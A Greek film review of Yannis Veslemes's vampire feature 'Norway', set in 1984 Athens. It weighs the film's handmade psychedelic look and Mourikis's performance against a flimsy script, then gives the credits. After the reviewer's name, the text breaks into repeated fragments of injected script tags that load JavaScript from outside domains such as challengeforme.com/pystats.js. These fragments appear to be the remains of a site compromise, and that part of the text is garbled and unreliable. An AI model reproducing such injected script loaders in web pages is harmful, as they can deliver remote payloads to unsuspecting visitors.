Κινηματογράφος: Νορβηγία

Η ιστορία ενός κοινωνικότατου βρικόλακα στη νυχτερινή και όλως αντεργκράουντ Αθήνα της δεκαετίας του ’80, σε ένα σκηνοθετικό ντεμπούτο με παραδοσιακά νεοελληνικά κουσούρια, αλλά και κάμποσα θετικά χαρακτηριστικά.

Εκείνο που κάνει την πρώτη μεγάλου μήκους ταινία του Βεσλεμέ πανάξια λόγου δεν είναι το προσχηματικό σενάριο με τις κουλές ατάκες, η άνιση κατανομή του κινηματογραφικού χρόνου μεταξύ σημαντικού και επουσιώδους ή οι αμήχανες ψευτο-καλτ εξυπναδούλες – ο Χίτλερ κείται, λέει, νεκροζώντανος σε σπηλιά της Πάρνηθας και καλείται ο βρικόλακας-πρωταγωνιστής να τον δαγκώσει για να τον κάνει απέθαντο… Όχι, εκείνο που αναβαθμίζει την ταινία –δικαιολογώντας, ως ένα βαθμό, το βραβείο FIPRESCI στο περασμένο φεστιβάλ Θεσσαλονίκης– είναι η ατόφια αισθητική πρόταση που κομίζει. Η οποία, αν εξαιρέσεις τα ειδικά εφέ, είναι υπέροχα, ψυχεδελικά χεροκάμωτη. Ο σκηνοθέτης, ας πούμε, εκτός από το σενάριο υπογράφει και τη σκηνογραφία (που ενίοτε επιστρατεύει μινιατούρες ως εξωτερικό σκηνικό), και φυσικά τη μουσική επένδυση δια του συνθετικού alter ego του, Felizol. Η δε φωτογραφία του Χρήστου Καραμάνη συλλαμβάνει πολύ ατμοσφαιρικά το «σκονισμένο» ημίφως μέσα στο οποίο κινείται ο βρικόλακας και οι ανθρώπινες σκιές γύρω του.


Η ιστορία, όπως είπαμε, ανάξια λόγου. Ο βρικόλακας Ζανό (Μουρίκης) καταφθάνει στην Αθήνα του 1984. Που με εξαίρεση τα ρούχα και κυρίως τις μουσικές στο θρυλικό κλαμπ Ζαρντόζ («Η Νορβηγία κατεβαίνει στη Μεσόγειο» των Χωρίς Περιδέραιο κι άλλα ελληνικά new wave κομμάτια εκείνης της εποχής), θα μπορούσε να ήταν οπουδήποτε κι οποτεδήποτε. Ανίκανος να σταματήσει να κουνιέται στο ρυθμό της –υπαρκτής ή ανύπαρκτης– μουσικής, ο Ζανό ψάχνει ένα «ζεστό» κορίτσι, γνωρίζει την ξύπνια πόρνη, Αλίκη (Καλτσίκη, καλή), και μαζί με έναν «καμένο» νορβηγό ντίλερ (Μπόλντα) θα καταλήξουν στη σπηλιά της Πάρνηθας και του Χίτλερ, που λέγαμε παραπάνω. Με το ηθικό δίλημμα –to bite or not to bite?– να θέτει τον Ζανό προ των ιστορικών ευθυνών του… Ευτυχώς, ενώ συμβαίνουν όλα αυτά τα χιπστερικώς απίθανα υπό τους ήχους αναλογικών συνθεσάιζερ, ο Μουρίκης αποδεικνύει ξανά πόσο χαμαιλεοντικά εύστοχος μπορεί να είναι. Σημειώστε ότι η «Νορβηγία» θα παιχτεί τα Σάββατα του Γενάρη αποκλειστικά στο «Άστυ» και φυσικά σε μεταμεσονύχτια.

 

Σκηνοθεσία
Γιάννης Βεσλεμές
Σενάριο
Γιάννης Βεσλεμές
Πρωταγωνιστούν
Βαγγέλης Μουρίκης, Αλεξία Καλτσίκη, Ντάνιελ Μπόλντα, Μάρκος Λεζές, Γιάννης Μποσταντζόγλου, Σόφη Ζαννίνου
Διάρκεια
74
Χώρα
Ελλάδα
Είδος
Φαντασίας
Πρεμιέρα
03 Ιανουαρίου 2015

Τατιάνα Καποδίστρια___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’> challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >